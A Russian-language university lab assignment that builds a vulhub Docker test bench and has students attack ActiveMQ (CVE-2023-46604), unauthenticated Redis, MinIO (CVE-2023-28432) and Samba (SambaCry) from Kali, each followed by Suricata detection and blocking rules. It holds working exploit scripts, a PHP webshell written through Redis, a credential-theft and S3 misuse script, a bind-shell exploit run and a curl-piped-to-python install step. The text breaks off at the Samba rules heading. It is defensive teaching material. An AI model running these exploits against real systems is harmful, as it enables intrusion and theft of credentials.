Лабораторная работа №3

Тема: Обнаружение и защита от эксплуатации уязвимостей сетевых служб с помощью Suricata.

Теория

Уязвимые сетевые службы и их эксплуатация

Сетевые службы — это программы, предоставляющие функциональность по сети (ActiveMQ, Redis, MinIO, Samba, Jenkins и др.). При наличии уязвимостей злоумышленник может получить несанкционированный доступ, выполнить произвольный код или вызвать отказ в обслуживании.

Основные типы уязвимостей в работе:

- **Remote Code Execution (RCE)** — удалённое выполнение кода на уязвимом сервере
- **Deserialization** — эксплуатация небезопасной десериализации объектов
- **Information Disclosure** — утечка конфиденциальной информации
- **Username Enumeration** — перечисление пользователей системы
- **Unauthorized Access** — неавторизованный доступ к службам

Методология работы с уязвимостями

В данной лабораторной работе применяется комплексный подход к изучению уязвимостей сетевых служб:

- **Fingerprinting** — определение версий служб (продолжение ЛР2)
- **Vulnerability Research** — поиск известных уязвимостей (CVE)
- **Exploitation** — эксплуатация уязвимости с Kali Linux
- **Detection** — создание правил Suricata для обнаружения атаки (IDS)
- **Prevention** — блокировка атак через IPS-правила

Defense in Depth для сетевых служб

Даже внутри доверенного сегмента сети могут существовать уязвимые сервисы. Многоуровневая защита включает:

- Мониторинг сетевого трафика (IDS/IPS)
- Сегментацию сети
- Минимизацию поверхности атаки
- Своевременное обновление ПО

Практическая часть

1. Подготовка лабораторного стенда

1.1. Интеграция в существующий docker-compose

Создайте файл `docker-compose.yml` или модифицируйте уже существующий:

```yaml
services:
  # Атакующая машина Kali Linux
  attacker:
    image: kalilinux/kali-rolling:latest
    container_name: attacker
    hostname: attacker
    networks:
      vulnnet:
        ipv4_address: 172.20.0.10
    stdin_open: true
    tty: true
    command: /bin/bash

  # Уязвимая служба 1: Apache ActiveMQ (RCE – CVE-2023-46604)
  victim-activemq:
    image: vulhub/activemq:5.16.5
    container_name: victim-activemq
    hostname: victim-activemq
    networks:
      vulnnet:
        ipv4_address: 172.20.0.101
    ports:
      - "61616:61616"
      - "8161:8161"

  # Уязвимая служба 2: Redis (Unauthorized Access + RCE)
  victim-redis:
    image: redis:5.0.7
    container_name: victim-redis
```

```
    hostname: victim-redis
    networks:
      vulnnet:
        ipv4_address: 172.20.0.102
    ports:
      - "6379:6379"
    command: redis-server --bind 0.0.0.0 --protected-mode no --save ""

  # Уязвимая служба 3: MinIO Cluster (Information Disclosure - CVE-2023-28432)
  # MinIO Node 1 (главный с портами наружу)
  victim-minio-node1:
    image: vulhub/minio:2023-02-27T18-10-45Z
    container_name: victim-minio-node1
    hostname: victim-minio-node1
    environment:
      MINIO_ROOT_USER: minioadmin
      MINIO_ROOT_PASSWORD: minioadmin-vulhub
    networks:
      vulnnet:
        ipv4_address: 172.20.0.103
    ports:
      - "9000:9000"
      - "9001:9001"
    command:
      - minio
      - server
      - --console-address
      - :9001
      - http://victim-minio-node1:9000/mnt/data1
      - http://victim-minio-node2:9000/mnt/data2
      - http://victim-minio-node3:9000/mnt/data3
    volumes:
      - minio_data1:/mnt/data1

  # MinIO Node 2
  victim-minio-node2:
    image: vulhub/minio:2023-02-27T18-10-45Z
    container_name: victim-minio-node2
    hostname: victim-minio-node2
    environment:
      MINIO_ROOT_USER: minioadmin
      MINIO_ROOT_PASSWORD: minioadmin-vulhub
    networks:
      vulnnet:
        ipv4_address: 172.20.0.113
```

```yaml
    command:
      - minio
      - server
      - http://victim-minio-node1:9000/mnt/data1
      - http://victim-minio-node2:9000/mnt/data2
      - http://victim-minio-node3:9000/mnt/data3
    volumes:
      - minio_data2:/mnt/data2

  # MinIO Node 3
  victim-minio-node3:
    image: vulhub/minio:2023-02-27T18-10-45Z
    container_name: victim-minio-node3
    hostname: victim-minio-node3
    environment:
      MINIO_ROOT_USER: minioadmin
      MINIO_ROOT_PASSWORD: minioadmin-vulhub
    networks:
      vulnnet:
        ipv4_address: 172.20.0.114
    command:
      - minio
      - server
      - http://victim-minio-node1:9000/mnt/data1
      - http://victim-minio-node2:9000/mnt/data2
      - http://victim-minio-node3:9000/mnt/data3
    volumes:
      - minio_data3:/mnt/data3

  # Уязвимая служба 4: Samba (SambaCry RCE - CVE-2017-7494)
  victim-samba:
    image: vulhub/samba:4.6.3
    container_name: victim-samba
    hostname: victim-samba
    networks:
      vulnnet:
        ipv4_address: 172.20.0.104
    ports:
      - "445:445"
      - "6699:6699"  # Для bind shell
    volumes:
      - ./smb.conf:/usr/local/samba/etc/smb.conf
    tty: true

  # Уязвимая служба 5: Jenkins (Arbitrary File Read - CVE-2024-23897)
  victim-jenkins:
```

```
    image: vulhub/jenkins:2.441
    container_name: victim-jenkins
    hostname: victim-jenkins
    networks:
      vulnnet:
        ipv4_address: 172.20.0.105
    ports:
      - "8080:8080"
      - "50000:50000"
      - "5005:5005"
    init: true
    environment:
      - DEBUG=1


  # EveBox для визуализации логов Suricata
  evebox:
    image: jasonish/evebox:latest
    container_name: evebox
    hostname: evebox
    networks:
      vulnnet:
        ipv4_address: 172.20.0.200
    ports:
      - "5636:5636"
    volumes:
      - /var/log/suricata/eve.json:/var/log/suricata/eve.json:ro
    command: -e /var/log/suricata/eve.json

volumes:
  minio_data1:
  minio_data2:
  minio_data3:

networks:
  vulnnet:
    driver: bridge
    ipam:
      config:
        - subnet: 172.20.0.0/16
```

Создайте файл `smb.conf`

```
[global]
    map to guest = Bad User
```

```
    server string = Samba Server Version %v
    guest account = nobody

[myshare]
    path = /home/share
    read only = no
    guest ok = yes
    guest only = yes
```

1.2. Запуск стенда

```
docker compose up -d
```

Проверьте статус контейнеров:

```
docker compose ps
```

1.3. Установка инструментов в Kali

```
docker exec -it attacker bash
apt update
apt install -y vim nmap jq metasploit-framework netcat-traditional telnet
smbclient redis-tools python3-pip python3.13-venv curl wget python3 python3-
pip awscli openssh-client hydra python2.7 python2.7-dev git gcc file
openjdk-11-jre
```

---

2. Служба 1: Apache ActiveMQ RCE (CVE-2023-46604)

2.1. Теория уязвимости

Apache ActiveMQ в версии 5.16.5 подвержен критической уязвимости удалённого выполнения кода через десериализацию в протоколе OpenWire. Уязвимость позволяет атакующему с сетевым доступом манипулировать сериализованными типами классов в протоколе OpenWire, что приводит к созданию экземпляров любого класса из classpath брокера и выполнению произвольных команд.

2.2. Fingerprinting с Kali

Войдите в контейнер attacker:

```
docker exec -it attacker bash
```

Выполните сканирование:

```
nmap -sV -p 61616,8161 172.20.0.101
```

Результат:

```
8161/tcp  open  http     Jetty 9.4.46.v20220331
61616/tcp open  apachemq ActiveMQ OpenWire transport 5.16.5
```

Проверьте веб-консоль:

```
curl -I http://172.20.0.101:8161/
```

2.3. Эксплуатация через Kali

Ручная эксплуатация

На атакующей машине создайте XML-файл payload (poc.xml):

```
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>touch</value>
                <value>/tmp/activeMQ-RCE-success</value>
            </list>
        </constructor-arg>
    </bean>
</beans>
```

На атакующей машине создайте python-файл (poc.py):

```
import io
import socket
import sys
```

```
def main(ip, port, xml):
    classname =
"org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3
poc.py 172.20.0.101 61616 "
              "http://172.20.0.10:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
```

Запустите HTTP-сервер для доставки payload:

```
python3 -m http.server 8888
```

Осуществите атаку:

```
python3 poc.py 172.20.0.101 61616 http://172.20.0.10:8080/poc.xml
```

В контейнере `victim-activemq` проверьте содержимое `/tmp`

```
root@victim-activemq:~# ls /tmp
activeMQ-RCE-success
```

Изучите `poc.xml` и замените `value` на другие Linux команды, проведите серию атак с Suricata и без.

2.4. Создание правил Suricata для защиты

Отредактируйте `/etc/suricata/rules/local.rules` на хосте:

```
# Обнаружение ActiveMQ подключений
alert tcp any any -> any 61616 (msg:"[IDS] Apache ActiveMQ Connection
Detected"; \
    flow:to_server,established; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:policy-violation; sid:3000001; rev:1;)

# Обнаружение OpenWire протокола
alert tcp any any -> any 61616 (msg:"[IDS] ActiveMQ OpenWire Protocol
Detected"; \
    flow:to_server,established; content:"OpenWire"; nocase; \
    classtype:policy-violation; sid:3000002; rev:1;)

# Обнаружение Java десериализации (ProcessBuilder)
alert tcp any any -> any 61616 (msg:"[IDS] ActiveMQ Java Deserialization
CVE-2023-46604"; \
    flow:to_server,established; content:"ProcessBuilder"; nocase; \
    classtype:attempted-admin; sid:3000003; rev:1;)

# Блокировка подозрительных ActiveMQ запросов
drop tcp any any -> any 61616 (msg:"[IPS] ActiveMQ Exploit Attempt Blocked";
\
    flow:to_server,established; content:"ClassPathXmlApplicationContext";
nocase; \
    threshold: type limit, track by_src, count 1, seconds 60; \
    classtype:attempted-admin; sid:3000004; rev:1;)

# Обнаружение Spring Beans в трафике
alert tcp any any -> any 61616 (msg:"[IDS] ActiveMQ Spring Beans
Configuration Detected"; \
    flow:to_server,established; content:"<beans"; nocase; \
    classtype:attempted-admin; sid:3000005; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

2.5. Проверка правил

Повторите эксплуатацию (серию атак) и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

---

3. Служба 2: Redis (Unauthorized Access + Command Execution)

3.1. Теория уязвимости

Redis 5.0.7 без аутентификации позволяет выполнение произвольных команд, получение доступа к данным и запись файлов в файловую систему. При отсутствии пароля (`requirepass` не установлен) и с `protected-mode no` злоумышленник может изменять конфигурацию Redis и использовать механизм сохранения базы данных для записи произвольных файлов в доступные директории системы.

3.2. Fingerprinting с Kali

Войдите в контейнер attacker:

```
docker exec -it attacker bash
```

Выполните сканирование:

```
nmap -sV -p 6379 172.20.0.102
```

Результат:

```
6379/tcp open  redis   Redis key-value store 5.0.7
```

Проверьте доступность:

```
redis-cli -h 172.20.0.102 ping
```

Результат:

```
PONG
```

3.3. Эксплуатация через Kali

Подключение к Redis:

```
redis-cli -h 172.20.0.102
```

Атака A: Разведка и получение конфигурации

```
info server
config get "*"
keys *
dbsize
```

Получите информацию о версии Redis, операционной системе, текущих настройках и содержимом базы данных.

Атака B: Запись веб-шелла

```
config set dir /tmp
config set dbfilename webshell.php
set test "<?php system($_GET['cmd']); ?>"
save
```

Проверьте создание файла:

```
docker exec victim-redis ls -la /tmp/webshell.php
docker exec victim-redis wc -c /tmp/webshell.php
```

Атака C: Создание файла-индикатора компрометации

```
config set dir /tmp
config set dbfilename compromised.txt
flushall
set indicator "SYSTEM_COMPROMISED_BY_REDIS_ATTACK"
save
```

Проверка:

```
docker exec victim-redis ls -la /tmp/compromised.txt
docker exec victim-redis wc -c /tmp/compromised.txt
```

Атака D: Утечка чувствительных данных

```
config set dir /tmp
config set dbfilename sensitive_data.rdb
flushall
set user:admin:password "admin123"
set user:guest:password "guest456"
set credit_card "4111-1111-1111-1111"
set api_key "secret_api_key_12345"
save
```

Проверка утечки данных:

```
keys "*"
get user:admin:password
get credit_card
get api_key
```

Проверьте сохранение в файл:

```
docker exec victim-redis ls -la /tmp/sensitive_data.rdb
```

3.4. Автоматизация атак с помощью Python

Создайте изолированную среду Python и установите зависимости:

```
python3 -m venv venv
source venv/bin/activate
pip3 install redis
```

Создайте файл `redis_attack.py`:

```
#!/usr/bin/env python3
import redis
import sys

def attack_redis(host, port):
    """
    Комплексная атака на незащищенный Redis:
```

```
    - Проверка подключения
    - Сбор версии и конфигурации
    - Запись тестового файла в /tmp через RDB
    - Вывод найденных ключей
    """
    try:
        r = redis.Redis(host=host, port=port, decode_responses=True)

        # Проверка подключения
        print(f"[+] Подключение к Redis {host}:{port}")
        r.ping()
        print("[+] Подключение успешно!")

        # Информация о сервере
        info = r.info('server')
        print(f"[+] Redis версия: {info.get('redis_version', 'unknown')}")
        print(f"[+] ОС: {info.get('os', 'unknown')}")

        # Конфигурация
        cfg = r.config_get('*')
        print(f"[+] Текущая директория: {cfg.get('dir', 'N/A')}")
        print(f"[+] Имя файла БД: {cfg.get('dbfilename', 'N/A')}")
        print(f"[+] Пароль: {'НЕТ' if not cfg.get('requirepass', '') else
'УСТАНОВЛЕН'}")

        # Запись тестового файла в /tmp
        r.config_set('dir', '/tmp')
        r.config_set('dbfilename', 'redis_test.txt')
        r.set('payload', 'Redis compromised by attacker!')
        r.set('indicator', 'SYSTEM_COMPROMISED_BY_REDIS_ATTACK')
        r.save()
        print("[+] Тестовый файл записан в /tmp/redis_test.txt")

        # Вывод содержимого БД
        keys = r.keys('*')
        print(f"[+] Найдено ключей в БД: {len(keys)}")
        for key in keys[:10]:
            try:
                print(f"    - {key}: {r.get(key)}")
            except Exception:
                print(f"    - {key}: <non-string value>")

    except Exception as e:
        print(f"[-] Ошибка: {e}")

if __name__ == "__main__":
```

```
    if len(sys.argv) != 3:
        print("Использование: python3 redis_attack.py <host> <port>")
        print("Пример: python3 redis_attack.py 172.20.0.102 6379")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2])
    attack_redis(host, port)
```

Запустите скрипт:

```
python3 redis_attack.py 172.20.0.102 6379
```

Ожидаемый результат:

```
┌──(venv)(root㉿attacker)-[/]
└─# python3 redis_attack.py 172.20.0.102 6379
[+] Подключение к Redis 172.20.0.102:6379
[+] Подключение успешно!
[+] Redis версия: 5.0.7
[+] ОС: Linux 6.10.14-linuxkit x86_64
[+] Текущая директория: /tmp
[+] Имя файла БД: sensitive_data.rdb
[+] Пароль: НЕТ
[+] Тестовый файл записан в /tmp/redis_test.txt
[+] Найдено ключей в БД: 6
    - indicator: SYSTEM_COMPROMISED_BY_REDIS_ATTACK
    - api_key: secret_api_key_12345
    - payload: Redis compromised by attacker!
    - user:admin:password: admin123
    - user:guest:password: guest456
    - credit_card: 4111-1111-1111-1111
```

3.5. Создание правил Suricata для защиты

Отредактируйте `/etc/suricata/rules/local.rules` на хосте:

```
# Обнаружение Redis подключений
alert tcp any any -> any 6379 (msg:"[IDS] Redis Unauthorized Access
Detected"; \
    flow:to_server,established; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:policy-violation; sid:3000101; rev:1;)
```

```
# Обнаружение config команд
alert tcp any any -> any 6379 (msg:"[IDS] Redis CONFIG Command Detected"; \
    flow:to_server,established; content:"config"; nocase; \
    classtype:attempted-admin; sid:3000102; rev:1;)

# Обнаружение команды SAVE
alert tcp any any -> any 6379 (msg:"[IDS] Redis SAVE Command Detected"; \
    flow:to_server,established; content:"save"; nocase; \
    classtype:attempted-admin; sid:3000103; rev:1;)

# Блокировка подозрительных Redis операций
drop tcp any any -> any 6379 (msg:"[IPS] Redis Dangerous Operation Blocked";
\
    flow:to_server,established; content:"config set dir"; nocase; \
    threshold: type limit, track by_src, count 1, seconds 60; \
    classtype:attempted-admin; sid:3000104; rev:1;)

# Обнаружение попыток записи веб-шелла
alert tcp any any -> any 6379 (msg:"[IDS] Redis Web Shell Upload Attempt"; \
    flow:to_server,established; content:"<?php"; nocase; \
    classtype:trojan-activity; sid:3000105; rev:1;)

# Обнаружение манипуляций с dbfilename
alert tcp any any -> any 6379 (msg:"[IDS] Redis DBFilename Manipulation"; \
    flow:to_server,established; content:"dbfilename"; nocase; \
    classtype:attempted-admin; sid:3000106; rev:1;)

# Обнаружение команды FLUSHALL
alert tcp any any -> any 6379 (msg:"[IDS] Redis FLUSHALL Command Detected";
\
    flow:to_server,established; content:"flushall"; nocase; \
    classtype:attempted-admin; sid:3000107; rev:1;)

# Обнаружение множественных операций (brute-force/scan)
alert tcp any any -> any 6379 (msg:"[IDS] Redis Multiple Operations
Detected"; \
    flow:to_server,established; \
    threshold: type threshold, track by_src, count 20, seconds 60; \
    classtype:attempted-recon; sid:3000108; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

3.6. Проверка правил

Повторите атаки (ручные команды через redis-cli и Python скрипт) и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

3.7. Проверка результатов атак

Убедитесь, что все файлы были созданы:

```
docker exec victim-redis ls -la /tmp/
docker exec victim-redis wc -c /tmp/webshell.php
docker exec victim-redis wc -c /tmp/compromised.txt
docker exec victim-redis wc -c /tmp/sensitive_data.rdb
docker exec victim-redis wc -c /tmp/redis_test.txt
```

Примечание: Все файлы сохраняются в формате RDB (Redis Database), который содержит как пользовательские данные, так и служебные метаданные. Это нормально и ожидаемо для данного типа атаки.

---

4. Служба 3: MinIO Cluster (Information Disclosure - CVE-2023-28432)

4.1. Теория уязвимости

MinIO версии до `RELEASE.2023-03-20T20-16-18Z` в кластерном режиме подвержен критической уязвимости информационного раскрытия (CVE-2023-28432). Атакующий может отправить единственный HTTP POST запрос к эндпоинту `/minio/bootstrap/v1/verify` и получить все переменные окружения процесса MinIO, включая `MINIO_ROOT_USER` и `MINIO_ROOT_PASSWORD`. Эта уязвимость проявляется только в кластерной конфигурации MinIO.

4.2. Fingerprinting с Kali

```
nmap -sV -p 9000,9001 172.20.0.103
```

Результат:

```
9000/tcp open  http    MinIO S3-compatible object store
```

```
9001/tcp open  http    MinIO Console
```

Проверьте доступность:

```
curl -I http://172.20.0.103:9000/
curl -I http://172.20.0.103:9001/
```

4.3. Эксплуатация через Kali

Атака A: Эксплуатация CVE-2023-28432 (Information Disclosure)

Выполните POST запрос к уязвимому эндпоинту:

```
curl -X POST http://172.20.0.103:9000/minio/bootstrap/v1/verify \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d ""
```

Ожидаемый результат (JSON с переменными окружения):


```
{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":
[{"Scheme":"http","Opaque":"","User":null,"Host":"victim-minio-
node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":f
alse,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},
{"Scheme":"http","Opaque":"","User":null,"Host":"victim-minio-
node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":f
alse,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},
{"Scheme":"http","Opaque":"","User":null,"Host":"victim-minio-
node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":f
alse,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine
":"http://victim-minio-node1:9000/mnt/data1 http://victim-minio-
node2:9000/mnt/data2 http://victim-minio-
node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":
{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","
MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmi
n-
vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmi
n","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}
}
```


Извлечение credentials с помощью jq:

```
curl -s -X POST http://172.20.0.103:9000/minio/bootstrap/v1/verify \
     -H "Content-Type: application/x-www-form-urlencoded" \
```

```
      -d "" | jq '.MinioEnv.MINIO_ROOT_USER, .MinioEnv.MINIO_ROOT_PASSWORD'
```

Ожидаемый результат:

```
"minioadmin"
"minioadmin-vulhub"
```

Атака B: Использование украденных credentials

Настройте AWS CLI с полученными учетными данными:

```
# Используйте credentials из CVE-2023-28432
aws configure set aws_access_key_id minioadmin
aws configure set aws_secret_access_key minioadmin-vulhub
aws configure set region us-east-1
```

Получите доступ к S3 API:

```
aws --endpoint-url http://172.20.0.103:9000 s3 ls
```

Атака C: Создание bucket и загрузка файлов

```
# Создание компрометирующего bucket
aws --endpoint-url http://172.20.0.103:9000 s3 mb s3://cve-2023-28432-pwned

# Создание файла с доказательством эксплуатации
echo "MinIO Cluster compromised via CVE-2023-28432!" > cve_exploit_proof.txt
echo "Stolen credentials: minioadmin:minioadmin-vulhub" >>
cve_exploit_proof.txt

# Загрузка файла
aws --endpoint-url http://172.20.0.103:9000 s3 cp cve_exploit_proof.txt
s3://cve-2023-28432-pwned/

# Проверка загрузки
aws --endpoint-url http://172.20.0.103:9000 s3 ls s3://cve-2023-28432-pwned/
```

Атака D: Автоматизация с Python скриптом

Создайте окружение:

```
python3 -m venv venv
source venv/bin/activate
```

```
pip3 install boto3 requests
```

Создайте файл `minio_cve_exploit.py`:

```
#!/usr/bin/env python3
import requests
import boto3
import json
import sys

def exploit_cve_2023_28432(target_url):
    """
    Эксплуатация CVE-2023-28432 для получения credentials MinIO
    """
    try:
        # Эксплуатация CVE-2023-28432
        exploit_url = f"{target_url}/minio/bootstrap/v1/verify"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}

        print(f"[+] Эксплуатация CVE-2023-28432: {exploit_url}")
        response = requests.post(exploit_url, headers=headers, data="")

        if response.status_code == 200:
            data = response.json()

            # Извлечение credentials
            minio_env = data.get('MinioEnv', {})
            username = minio_env.get('MINIO_ROOT_USER')
            password = minio_env.get('MINIO_ROOT_PASSWORD')

            if username and password:
                print(f"[+] Украденные credentials:")
                print(f"    Username: {username}")
                print(f"    Password: {password}")

                # Информация о кластере
                endpoints = data.get('MinioEndpoints', [])
                if endpoints:
                    print(f"[+] Информация о кластере:")
                    for endpoint in endpoints:
                        print(f"    Узлов: {endpoint.get('SetCount',
'N/A')}")
                        print(f"    Дисков на узел:
{endpoint.get('DrivesPerSet', 'N/A')}")

                return username, password
```

```
            else:
                print("[-] Credentials не найдены в ответе")
                return None, None
        else:
            print(f"[-] HTTP ошибка: {response.status_code}")
            return None, None

    except Exception as e:
        print(f"[-] Ошибка эксплуатации: {e}")
        return None, None

def exploit_s3_api(target_url, username, password):
    """
    Эксплуатация S3 API с украденными credentials
    """
    try:
        s3_client = boto3.client(
            's3',
            endpoint_url=target_url,
            aws_access_key_id=username,
            aws_secret_access_key=password,
            region_name='us-east-1'
        )

        print(f"[+] Подключение к S3 API: {target_url}")

        # Список bucket'ов
        response = s3_client.list_buckets()
        print(f"[+] Найдено bucket'ов: {len(response['Buckets'])}")

        for bucket in response['Buckets']:
            bucket_name = bucket['Name']
            print(f"    - {bucket_name}")

        # Создание тестового bucket
        test_bucket = "cve-2023-28432-exploit"
        try:
            s3_client.create_bucket(Bucket=test_bucket)
            print(f"[+] Создан bucket: {test_bucket}")
        except Exception as e:
            if "BucketAlreadyOwnedByYou" in str(e):
                print(f"[+] Bucket {test_bucket} уже существует")
            else:
                print(f"[-] Ошибка создания bucket: {e}")

        # Загрузка файла с доказательством
```

```
        proof_content = f"CVE-2023-28432 exploitation
successful!\nCredentials: {username}:{password}"
        s3_client.put_object(
            Bucket=test_bucket,
            Key='exploitation_proof.txt',
            Body=proof_content.encode('utf-8')
        )
        print(f"[+] Загружен файл exploitation_proof.txt")

        return True

    except Exception as e:
        print(f"[-] Ошибка S3 API: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Использование: python3 minio_cve_exploit.py <target_url>")
        print("Пример: python3 minio_cve_exploit.py
http://172.20.0.103:9000")
        sys.exit(1)

    target_url = sys.argv[1]

    # Эксплуатация CVE-2023-28432
    username, password = exploit_cve_2023_28432(target_url)

    if username and password:
        # Эксплуатация S3 API
        exploit_s3_api(target_url, username, password)
    else:
        print("[-] Эксплуатация не удалась")
```

Запустите скрипт:

```
python3 minio_cve_exploit.py http://172.20.0.103:9000
```

Ожидаемый результат:

```
┌──(venv)(root㉿attacker)-[~]
└─#** python3 minio_cve_exploit.py http://172.20.0.103:9000
[+] Эксплуатация CVE-2023-28432:
http://172.20.0.103:9000/minio/bootstrap/v1/verify
[+] Украденные credentials:
    Username: minioadmin
```

```
    Password: minioadmin-vulhub
[+] Информация о кластере:
    Узлов: 1
    Дисков на узел: 3
[+] Подключение к S3 API: http://172.20.0.103:9000
[+] Найдено bucket'ов: 1
    - cve-2023-28432-pwned
[+] Создан bucket: cve-2023-28432-exploit
[+] Загружен файл exploitation_proof.txt
```

4.4. Создание правил Suricata для защиты

Добавьте в `/etc/suricata/rules/local.rules`:

```
# Обнаружение CVE-2023-28432 Bootstrap Verify запроса
alert http any any -> any 9000 (msg:"[IDS] MinIO CVE-2023-28432 Bootstrap
Verify Request"; \
    flow:to_server,established; http_uri;
content:"/minio/bootstrap/v1/verify"; \
    http_method; content:"POST"; \
    classtype:attempted-admin; sid:3000201; rev:1;)

# Блокировка CVE-2023-28432 эксплуатации
drop http any any -> any 9000 (msg:"[IPS] MinIO CVE-2023-28432 Exploitation
Blocked"; \
    flow:to_server,established; http_uri;
content:"/minio/bootstrap/v1/verify"; \
    http_method; content:"POST"; \
    threshold: type limit, track by_src, count 1, seconds 3600; \
    classtype:attempted-admin; sid:3000202; rev:1;)

# Обнаружение MinIO admin API запросов
alert http any any -> any 9000 (msg:"[IDS] MinIO Admin API Request
Detected"; \
    flow:to_server,established; http_uri; content:"/minio/admin"; \
    classtype:attempted-admin; sid:3000203; rev:1;)

# Обнаружение S3 API операций
alert http any any -> any 9000 (msg:"[IDS] MinIO S3 API Operation Detected";
\
    flow:to_server,established; http_header; content:"aws4_request"; \
    classtype:policy-violation; sid:3000204; rev:1;)

# Обнаружение создания bucket'ов
alert http any any -> any 9000 (msg:"[IDS] MinIO Bucket Creation Detected";
```

```
\
    flow:to_server,established; http_method; content:"PUT"; \
    classtype:policy-violation; sid:3000205; rev:1;)

# Обнаружение подозрительных имен bucket'ов
alert http any any -> any 9000 (msg:"[IDS] MinIO Suspicious Bucket Name"; \
    flow:to_server,established; http_uri;
pcre:"/\/(hack|exploit|malware|backdoor|pwned|compromised|cve)/i"; \
    classtype:trojan-activity; sid:3000206; rev:1;)

# Обнаружение консольного доступа
alert http any any -> any 9001 (msg:"[IDS] MinIO Console Access Detected"; \
    flow:to_server,established; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:policy-violation; sid:3000207; rev:1;)

# Блокировка множественных S3 операций
drop http any any -> any 9000 (msg:"[IPS] MinIO Excessive S3 Operations
Blocked"; \
    flow:to_server,established; \
    threshold: type both, track by_src, count 50, seconds 60; \
    classtype:attempted-dos; sid:3000208; rev:1;)
```

Перезапустите Suricata:

```
systemctl restart suricata
```

4.5. Проверка правил

Повторите атаки и проверьте логи:

```
tail -f /var/log/suricata/eve.json | jq 'select(.event_type=="alert")'
```

Или откройте EveBox.

---

5. Служба 4: Samba (SambaCry RCE - CVE-2017-7494)

5.1. Теория уязвимости

CVE-2017-7494 (“SambaCry”) позволяет аутентифицированному пользователю загрузить собственную разделяемую библиотеку (.so) в доступный для записи SMB-share и заставить Samba загрузить её через MSRPC/named pipes, что ведет к удаленному

выполнению кода. Уязвимы Samba 3.x после 3.5.0 и 4.x до 4.4.14, 4.5.x до 4.5.10, 4.6.x до 4.6.4.

5.2. Fingerprinting с Kali

```
nmap -sV -p 445 172.20.0.104
# smbclient перечисление
smbclient -L //172.20.0.104/ -N
# проверка доступа к шаре
smbclient //172.20.0.104/myshare -N
```

Ожидаемое:

- Порт 445 открыт, версия Samba: 4.6.3
- Доступна шара myshare с гостевым доступом (guest)

5.3. Эксплуатация через Kali

```
docker exec -it attacker bash

cd /tmp

# Устанавливаем старый virtualenv для Python 2
curl -sS https://bootstrap.pypa.io/pip/2.7/get-pip.py | python2.7

pip2 install 'virtualenv<20.0'

# Клонируем эксплойт
git clone https://github.com/opsxcq/exploit-CVE-2017-7494.git
cd exploit-CVE-2017-7494

# Создаем отдельное окружение на Python 2.7
python2.7 -m virtualenv venv
source venv/bin/activate

# Ставим зависимости эксплойта
pip2 install -r requirements.txt
```

Запуск эксплойта с готовой библиотекой из репозитория:

```
./exploit.py -t 172.20.0.104 \
             -e libbindshell-samba.so \
             -s myshare \
             -r /home/share/libbindshell-samba.so \
```

```
            -u guest -p guest \
            -P 6699
```

Ожидаемый вывод:

```
┌──(venv)(root㉿attacker)-[/tmp/exploit-CVE-2017-7494]
└─# ./exploit.py -t 172.20.0.104 \
            -e libbindshell-samba.so \
            -s myshare \
            -r /home/share/libbindshell-samba.so \
            -u guest -p guest \
            -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 172.20.0.104 at 6699
[+] Veryfying your shell...
>>Linux victim-samba 6.10.14-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Sep 10
06:48:35 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
hostname
>>victim-samba
```

Команда hostname выдаст `victim-samba`. Попробуйте и другие команды.

Проверка загруженной библиотеки в шаре:

```
smbclient //172.20.0.104/myshare -N -c "ls"
```

5.4. Правила Suricata для детектирования и блокировки

Добавьте в `/etc/suricata/rules/local.rules`:

```
# SMB соединения
